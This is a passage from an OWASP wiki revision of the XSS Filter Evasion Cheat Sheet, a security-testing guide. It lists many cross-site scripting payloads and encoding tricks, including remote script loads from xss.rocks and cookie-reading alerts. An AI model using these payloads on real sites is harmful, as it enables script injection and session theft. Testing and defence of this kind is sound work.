https://wiki.owasp.org/api.php?action=feedcontributions&feedformat=atom&user=Dan+WallisOWASP - User contributions [en]2026-05-29T14:41:15ZUser contributionsMediaWiki 1.27.2https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&diff=233204XSS Filter Evasion Cheat Sheet2017-09-13T00:34:51Z<p>Dan Wallis: /* HTML entities */</p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br/><br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' <br />
= Introduction =<br />
__TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.<br />
<br />
= Tests =<br />
<br />
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. <br />
<br />
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.<br />
<br />
== XSS Locator ==<br />
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:<br />
<br />
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&quot;;<br />
alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//--<br />
&gt;&lt;/SCRIPT&gt;&quot;&gt;'&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;<br />
<br />
== XSS Locator (short) ==<br />
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &amp;lt;XSS to see if it is vulnerable:<br />
<br />
&#39;&#39;;!--"&lt;XSS&gt;=&amp;{()}<br />
<br />
== No Filter Evasion ==<br />
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):<br />
<br />
&lt;SCRIPT SRC=http:&#47;&#47;xss.rocks&#47;xss.js&gt;&lt;/SCRIPT&gt;<br />
<br />
<br />
== Filter bypass based polyglot ==<br />
<br />
<pre>'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><br />
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><br />
<script>alert(document.cookie)</script>"><br />
<img/id="confirm&lpar;1&#x29;"/alt="/"src="/"onerror=eval(id&#x29;>'"><br />
<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg"></pre><br />
<br />
== Image XSS using the JavaScript directive ==<br />
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:<br />
<br />
<IMG SRC="javascript:alert('XSS');"><br />
<br />
== No quotes and no semicolon ==<br />
<br />
<IMG SRC=javascript:alert('XSS')><br />
<br />
== Case insensitive XSS attack vector ==<br />
<br />
<IMG SRC=JaVaScRiPt:alert('XSS')><br />
<br />
== HTML entities == <br />
The semicolons are required for this to work:<br />
<br />
<IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)><br />
<br />
== Grave accent obfuscation ==<br />
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:<br />
&lt;IMG SRC=`javascript:alert("RSnake says, 'XSS'")`><br />
<br />
== Malformed A tags ==<br />
Skip the HREF attribute and get to the meat of the XXS...<br />
Submitted by David Cross ~ Verified on Chrome<br />
<br />
<nowiki><a onmouseover="alert(document.cookie)">xxs link</a></nowiki><br />
<br />
or<br />
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.<br />
<br />
<nowiki><a onmouseover=alert(document.cookie)>xxs link</a></nowiki><br />
<br />
== Malformed IMG tags ==<br />
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:<br />
<br />
&lt;IMG """><SCRIPT>alert("XSS")</SCRIPT>"><br />
<br />
== fromCharCode ==<br />
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:<br />
<br />
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><br />
<br />
== Default SRC tag to get past filters that check SRC domain ==<br />
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here.<br />
Submitted by David Cross .<br />
<br />
Edited by Abdullah Hussam(@Abdulahhusam).<br />
<br />
<IMG SRC=# onmouseover="alert('xxs')"><br />
<br />
== Default SRC tag by leaving it empty ==<br />
<br />
<IMG SRC= onmouseover="alert('xxs')"><br />
<br />
== Default SRC tag by leaving it out entirely ==<br />
<br />
<IMG onmouseover="alert('xxs')"><br />
<br />
== On error alert ==<br />
<br />
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img><br />
<br />
== IMG onerror and javascript alert encode==<br />
<br />
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"><br />
<br />
== Decimal HTML character references ==<br />
all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).<br />
<br />
&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;<br />
&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;<br />
<br />
== Decimal HTML character references without trailing semicolons ==<br />
This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):<br />
<br />
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&<br />
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041><br />
<br />
== Hexadecimal HTML character references without trailing semicolons ==<br />
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). <br />
<br />
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29><br />
<br />
== Embedded tab == <br />
Used to break up the cross site scripting attack: <br />
<br />
<IMG SRC="jav&#x09;ascript:alert('XSS');"><br />
<br />
== Embedded Encoded tab ==<br />
Use this one to break up XSS :<br />
<IMG SRC="jav&amp;#x09;ascript:alert('XSS');"><br />
<br />
== Embedded newline to break up XSS ==<br />
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:<br />
<br />
<nowiki><IMG SRC="jav&amp;#x0A;ascript:alert('XSS');"></nowiki><br />
<br />
== Embedded carriage return to break up XSS ==<br />
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):<br />
<br />
<nowiki><IMG SRC="jav&amp;#x0D;ascript:alert('XSS');"></nowiki><br />
<br />
== Null breaks up JavaScript directive ==<br />
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:<br />
<br />
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out<br />
<br />
== Spaces and meta chars before the JavaScript in images for XSS ==<br />
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:<br />
<br />
<IMG SRC=" &#14; javascript:alert('XSS');"><br />
<br />
== Non-alpha-non-digit XSS ==<br />
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. <br />
For example "<SCRIPT\s" != "<SCRIPT/XSS\s":<br />
<br />
<nowiki><SCRIPT/XSS SRC="http:&#47;&#47;xss.rocks/xss.js"></SCRIPT></nowiki><br />
<br />
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:<br />
<br />
<nowiki><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></nowiki><br />
<br />
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.<br />
<br />
<nowiki><SCRIPT/SRC="http:&#47;&#47;xss.rocks/xss.js"></SCRIPT></nowiki><br />
<br />
== Extraneous open brackets ==<br />
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:<br />
<<SCRIPT>alert("XSS");//<</SCRIPT><br />
<br />
== No closing script tags ==<br />
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:<br />
<br />
<nowiki><SCRIPT SRC=http://xss.rocks/xss.js?< B ></nowiki><br />
<br />
== Protocol resolution in script tags ==<br />
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.<br />
<br />
&lt;SCRIPT SRC=//xss.rocks/.j><br />
<br />
== Half open HTML/JavaScript XSS vector ==<br />
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:<br />
<br />
<IMG SRC="javascript:alert('XSS')"<br />
<br />
== Double open angle brackets ==<br />
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:<br />
<br />
<nowiki><iframe src=http://xss.rocks/scriptlet.html <</nowiki><br />
<br />
== Escaping JavaScript escapes ==<br />
When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:<br />
<br />
\";alert('XSS');//<br />
<br />
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:<br />
<br />
</script><script>alert('XSS');</script><br />
<br />
== End title tag ==<br />
This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:<br />
<br />
<nowiki></TITLE><SCRIPT>alert("XSS");</SCRIPT></nowiki><br />
<br />
==INPUT image ==<br />
<nowiki><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></nowiki><br />
<br />
== BODY image ==<br />
<nowiki><BODY BACKGROUND="javascript:alert('XSS')"></nowiki><br />
<br />
== IMG Dynsrc ==<br />
<nowiki><IMG DYNSRC="javascript:alert('XSS')"></nowiki><br />
<br />
== IMG lowsrc ==<br />
<nowiki><IMG LOWSRC="javascript:alert('XSS')"></nowiki><br />
<br />
== List-style-image ==<br />
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:<br />
<br />
<nowiki><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br></nowiki><br />
<br />
== VBscript in an image ==<br />
<nowiki><IMG SRC='vbscript:msgbox("XSS")'></nowiki><br />
<br />
== Livescript (older versions of Netscape only) ==<br />
<nowiki><IMG SRC="livescript:[code]"></nowiki><br />
<br />
== SVG object tag ==<br />
<nowiki><svg/onload=alert('XSS')></nowiki><br />
<br />
== ECMAScript 6 ==<br />
<nowiki>Set.constructor`alert\x28document.domain\x29```</nowiki><br />
<br />
== BODY tag ==<br />
Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):<br />
<br />
<nowiki><BODY ONLOAD=alert('XSS')></nowiki><br />
<br />
== Event Handlers ==<br />
<br />
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.<br />
<br />
The [http://help.dottoro.com/ Dottoro Web Reference] also has a nice [http://help.dottoro.com/ljfvvdnm.php list of events in JavaScript].<br />
<br />
# <code>FSCommand()</code> (attacker can use this when executed from within an embedded Flash object)<br />
# <code>onAbort()</code> (when user aborts the loading of an image)<br />
# <code>onActivate()</code> (when object is set as the active element)<br />
# <code>onAfterPrint()</code> (activates after user prints or previews print job)<br />
# <code>onAfterUpdate()</code> (activates on data object after updating data in the source object)<br />
# <code>onBeforeActivate()</code> (fires before the object is set as the active element)<br />
# <code>onBeforeCopy()</code> (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the <code>execCommand("Copy")</code> function)<br />
# <code>onBeforeCut()</code> (attacker executes the attack string right before a selection is cut)<br />
# <code>onBeforeDeactivate()</code> (fires right after the activeElement is changed from the current object)<br />
# <code>onBeforeEditFocus()</code> (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)<br />
# <code>onBeforePaste()</code> (user needs to be tricked into pasting or be forced into it using the <code>execCommand("Paste")</code> function)<br />
# <code>onBeforePrint()</code> (user would need to be tricked into printing or attacker could use the <code>print()</code> or <code>execCommand("Print")</code> function).<br />
# <code>onBeforeUnload()</code> (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)<br />
# <code>onBeforeUpdate()</code> (activates on data object before updating data in the source object)<br />
# <code>onBegin()</code> (the onbegin event fires immediately when the element's timeline begins)<br />
# <code>onBlur()</code> (in the case where another popup is loaded and window looses focus)<br />
# <code>onBounce()</code> (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)<br />
# <code>onCellChange()</code> (fires when data changes in the data provider)<br />
# <code>onChange()</code> (select, text, or TEXTAREA field loses focus and its value has been modified)<br />
# <code>onClick()</code> (someone clicks on a form)<br />
# <code>onContextMenu()</code> (user would need to right click on attack area)<br />
# <code>onControlSelect()</code> (fires when the user is about to make a control selection of the object)<br />
# <code>onCopy()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Copy")</code> command)<br />
# <code>onCut()</code> (user needs to copy something or it can be exploited using the <code>execCommand("Cut")</code> command)<br />
# <code>onDataAvailable()</code> (user would need to change data in an element, or attacker could perform the same function)<br />
# <code>onDataSetChanged()</code> (fires when the data set exposed by a data source object changes)<br />
# <code>onDataSetComplete()</code> (fires to indicate that all data is available from the data source object)<br />
# <code>onDblClick()</code> (user double-clicks a form element or a link)<br />
# <code>onDeactivate()</code> (fires when the activeElement is changed from the current object to another object in the parent document)<br />
# <code>onDrag()</code> (requires that the user drags an object)<br />
# <code>onDragEnd()</code> (requires that the user drags an object)<br />
# <code>onDragLeave()</code> (requires that the user drags an object off a valid location)<br />
# <code>onDragEnter()</code> (requires that the user drags an object into a valid location)<br />
# <code>onDragOver()</code> (requires that the user drags an object into a valid location)<br />
# <code>onDragDrop()</code> (user drops an object (e.g. file) onto the browser window)<br />
# <code>onDragStart()</code> (occurs when user starts drag operation)<br />
# <code>onDrop()</code> (user drops an object (e.g. file) onto the browser window)<br />
# <code>onEnd()</code> (the onEnd event fires when the timeline ends. <br />
# <code>onError()</code> (loading of a document or image causes an error)<br />
# <code>onErrorUpdate()</code> (fires on a databound object when an error occurs while updating the associated data in the data source object)<br />
# <code>onFilterChange()</code> (fires when a visual filter completes state change)<br />
# <code>onFinish()</code> (attacker can create the exploit when marquee is finished looping)<br />
# <code>onFocus()</code> (attacker executes the attack string when the window gets focus)<br />
# <code>onFocusIn()</code> (attacker executes the attack string when window gets focus)<br />
# <code>onFocusOut()</code> (attacker executes the attack string when window looses focus)<br />
# <code>onHashChange()</code> (fires when the fragment identifier part of the document's current address changed)<br />
# <code>onHelp()</code> (attacker executes the attack string when users hits F1 while the window is in focus)<br />
# <code>onInput()</code> (the text content of an element is changed through the user interface)<br />
# <code>onKeyDown()</code> (user depresses a key)<br />
# <code>onKeyPress()</code> (user presses or holds down a key)<br />
# <code>onKeyUp()</code> (user releases a key)<br />
# <code>onLayoutComplete()</code> (user would have to print or print preview)<br />
# <code>onLoad()</code> (attacker executes the attack string after the window loads)<br />
# <code>onLoseCapture()</code> (can be exploited by the <code>releaseCapture()</code> method)<br />
# <code>onMediaComplete()</code> (When a streaming media file is used, this event could fire before the file starts playing)<br />
# <code>onMediaError()</code> (User opens a page in the browser that contains a media file, and the event fires when there is a problem)<br />
# <code>onMessage()</code> (fire when the document received a message)<br />
# <code>onMouseDown()</code> (the attacker would need to get the user to click on an image)<br />
# <code>onMouseEnter()</code> (cursor moves over an object or area)<br />
# <code>onMouseLeave()</code> (the attacker would need to get the user to mouse over an image or table and then off again)<br />
# <code>onMouseMove()</code> (the attacker would need to get the user to mouse over an image or table)<br />
# <code>onMouseOut()</code> (the attacker would need to get the user to mouse over an image or table and then off again)<br />
# <code>onMouseOver()</code> (cursor moves over an object or area)<br />
# <code>onMouseUp()</code> (the attacker would need to get the user to click on an image)<br />
# <code>onMouseWheel()</code> (the attacker would need to get the user to use their mouse wheel)<br />
# <code>onMove()</code> (user or attacker would move the page)<br />
# <code>onMoveEnd()</code> (user or attacker would move the page)<br />
# <code>onMoveStart()</code> (user or attacker would move the page)<br />
# <code>onOffline()</code> (occurs if the browser is working in online mode and it starts to work offline)<br />
# <code>onOnline()</code> (occurs if the browser is working in offline mode and it starts to work online)<br />
# <code>onOutOfSync()</code> (interrupt the element's ability to play its media as defined by the timeline)<br />
# <code>onPaste()</code> (user would need to paste or attacker could use the <code>execCommand("Paste")</code> function)<br />
# <code>onPause()</code> (the onpause event fires on every element that is active when the timeline pauses, including the body element)<br />
# <code>onPopState()</code> (fires when user navigated the session history)<br />
# <code>onProgress()</code> (attacker would use this as a flash movie was loading)<br />
# <code>onPropertyChange()</code> (user or attacker would need to change an element property)<br />
# <code>onReadyStateChange()</code> (user or attacker would need to change an element property)<br />
# <code>onRedo()</code> (user went forward in undo transaction history)<br />
# <code>onRepeat()</code> (the event fires once for each repetition of the timeline, excluding the first full cycle)<br />
# <code>onReset()</code> (user or attacker resets a form)<br />
# <code>onResize()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)<br />
# <code>onResizeEnd()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)<br />
# <code>onResizeStart()</code> (user would resize the window; attacker could auto initialize with something like: <code><SCRIPT>self.resizeTo(500,400);</SCRIPT></code>)<br />
# <code>onResume()</code> (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)<br />
# <code>onReverse()</code> (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)<br />
# <code>onRowsEnter()</code> (user or attacker would need to change a row in a data source)<br />
# <code>onRowExit()</code> (user or attacker would need to change a row in a data source)<br />
# <code>onRowDelete()</code> (user or attacker would need to delete a row in a data source)<br />
# <code>onRowInserted()</code> (user or attacker would need to insert a row in a data source)<br />
# <code>onScroll()</code> (user would need to scroll, or attacker could use the <code>scrollBy()</code> function)<br />
# <code>onSeek()</code> (the onreverse event fires when the timeline is set to play in any direction other than forward)<br />
# <code>onSelect()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)<br />
# <code>onSelectionChange()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)<br />
# <code>onSelectStart()</code> (user needs to select some text - attacker could auto initialize with something like: <code>window.document.execCommand("SelectAll");</code>)<br />
# <code>onStart()</code> (fires at the beginning of each marquee loop)<br />
# <code>onStop()</code> (user would need to press the stop button or leave the webpage)<br />
# <code>onStorage()</code> (storage area changed)<br />
# <code>onSyncRestored()</code> (user interrupts the element's ability to play its media as defined by the timeline to fire)<br />
# <code>onSubmit()</code> (requires attacker or user submits a form)<br />
# <code>onTimeError()</code> (user or attacker sets a time property, such as dur, to an invalid value)<br />
# <code>onTrackChange()</code> (user or attacker changes track in a playList)<br />
# <code>onUndo()</code> (user went backward in undo transaction history)<br />
# <code>onUnload()</code> (as the user clicks any link or presses the back button or attacker forces a click)<br />
# <code>onURLFlip()</code> (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)<br />
# <code>seekSegmentTime()</code> (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)<br />
<br />
== BGSOUND ==<br />
<BGSOUND SRC="javascript:alert('XSS');"><br />
<br />
== & JavaScript includes ==<br />
<nowiki><BR SIZE="&{alert('XSS')}"></nowiki><br />
== STYLE sheet ==<br />
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"><br />
<br />
== Remote style sheet ==<br />
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:<br />
<nowiki><LINK REL="stylesheet" HREF="http:&#47;&#47;xss.rocks/xss.css"></nowiki><br />
<br />
== Remote style sheet part 2 ==<br />
This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:<br />
<br />
<nowiki><STYLE>@import'http://xss.rocks/xss.css';</STYLE></nowiki><br />
<br />
== Remote style sheet part 3 ==<br />
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <nowiki><http://xss.rocks/xss.css>; REL=stylesheet)</nowiki> and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:<br />
<br />
<nowiki><META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"></nowiki><br />
<br />
== Remote style sheet part 4 ==<br />
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:<br />
<nowiki><STYLE>BODY{-moz-binding:url("http:&#47;&#47;xss.rocks/xssmoz.xml#xss")}</STYLE></nowiki><br />
<br />
== STYLE tags with broken up JavaScript for XSS ==<br />
This XSS at times sends IE into an infinite loop of alerts:<br />
<nowiki><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></nowiki><br />
<br />
== STYLE attribute using a comment to break up expression ==<br />
Created by Roman Ivanov <br />
<nowiki><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></nowiki><br />
<br />
== IMG STYLE with expression ==<br />
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:<br />
<nowiki>exp/*<A STYLE='no\xss:noxss("*//*");<br />
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></nowiki><br />
<br />
== STYLE tag (Older versions of Netscape only)==<br />
<nowiki><STYLE TYPE="text/javascript">alert('XSS');</STYLE></nowiki><br />
<br />
== STYLE tag using background-image ==<br />
<nowiki><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></nowiki><br />
<br />
== STYLE tag using background ==<br />
<nowiki><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></nowiki><br />
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE><br />
<br />
== Anonymous HTML with STYLE attribute ==<br />
IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:<br />
<nowiki><XSS STYLE="xss:expression(alert('XSS'))"></nowiki><br />
<br />
== Local htc file == <br />
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:<br />
<XSS STYLE="behavior: url(xss.htc);"><br />
<br />
== US-ASCII encoding == <br />
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. <br />
<br />
¼script¾alert(¢XSS¢)¼/script¾<br />
<br />
== META ==<br />
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:<br />
<br />
<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></nowiki><br />
<br />
=== META using data ===<br />
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS [http://ha.ckers.org/xsscalc.html calculator] below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:<br />
<br />
<nowiki><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></nowiki><br />
<br />
=== META with additional URL parameter ===<br />
If the target website attempts to see if the URL contains "http:&#47;&#47;" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):<br />
<br />
<nowiki><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></nowiki><br />
<br />
== IFRAME ==<br />
If iframes are allowed there are a lot of other XSS problems as well:<br />
<nowiki><IFRAME SRC="javascript:alert('XSS');"></IFRAME></nowiki><br />
<br />
== IFRAME Event based ==<br />
IFrames and most other elements can use event based mayhem like the following... <br />
(Submitted by: David Cross)<br />
<nowiki><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME></nowiki><br />
<br />
== FRAME ==<br />
Frames have the same sorts of XSS problems as iframes<br />
<nowiki><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></nowiki><br />
<br />
<br />
== TABLE ==<br />
<nowiki><TABLE BACKGROUND="javascript:alert('XSS')"></nowiki><br />
<br />
=== TD ===<br />
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:<br />
